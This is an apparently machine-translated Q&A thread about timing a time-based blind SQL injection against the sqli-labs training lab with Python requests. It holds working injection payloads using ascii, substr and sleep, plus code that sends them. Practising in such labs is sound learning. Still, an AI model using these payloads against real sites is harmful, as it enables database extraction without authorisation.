使用Python中的请求库来测量HTTP响应时间。我做对了吗?

使用Python中的请求库来测量HTTP响应时间。我做对了吗?

问题描述:

我试图从Web应用程序诱发HTTP响应的人为延迟(这是一种用于执行盲SQL注入的技术)。使用Python中的请求库来测量HTTP响应时间。我做对了吗?

http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+ 

我试图使用要求做同样在Python 2.7:如果下面的HTTP请求从浏览器发送,从Web服务器响应3秒(造成睡眠(3))后回来图书馆。我的代码是:

import requests 

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"} 
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload) 
roundtrip = r.elapsed.total_seconds() 
print roundtrip 

我预计往返为3秒,而是我我不能正常使用经过属性获取值0.001371,0.001616,0.002228,等等?

elapsed测量发送请求和完成解析响应标头之间的时间,直到完整响应被传输为止。

如果要衡量的时候,你需要自己衡量它:

import requests 
import time 

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"} 
start = time.time() 
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload) 
roundtrip = time.time() - start 
print roundtrip 
+0

纠正我,如果我错了:'requests.get'是一个阻塞调用,所以'r.content'并不是真的需要“等到全部内容已被传输” – dv3

+0

@ dv3,是的,除非你使用'stream = True'(默认是'False'),否则将立即下载内容,否则当接收到标题时返回'get()'。 – mata

我想通了,我的有效载荷应该已经

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}

最后一个字符“+”在原始有效负载中传递给后端数据库,这导致无效的SQL语法。我不应该在有效载荷中进行任何手动编码。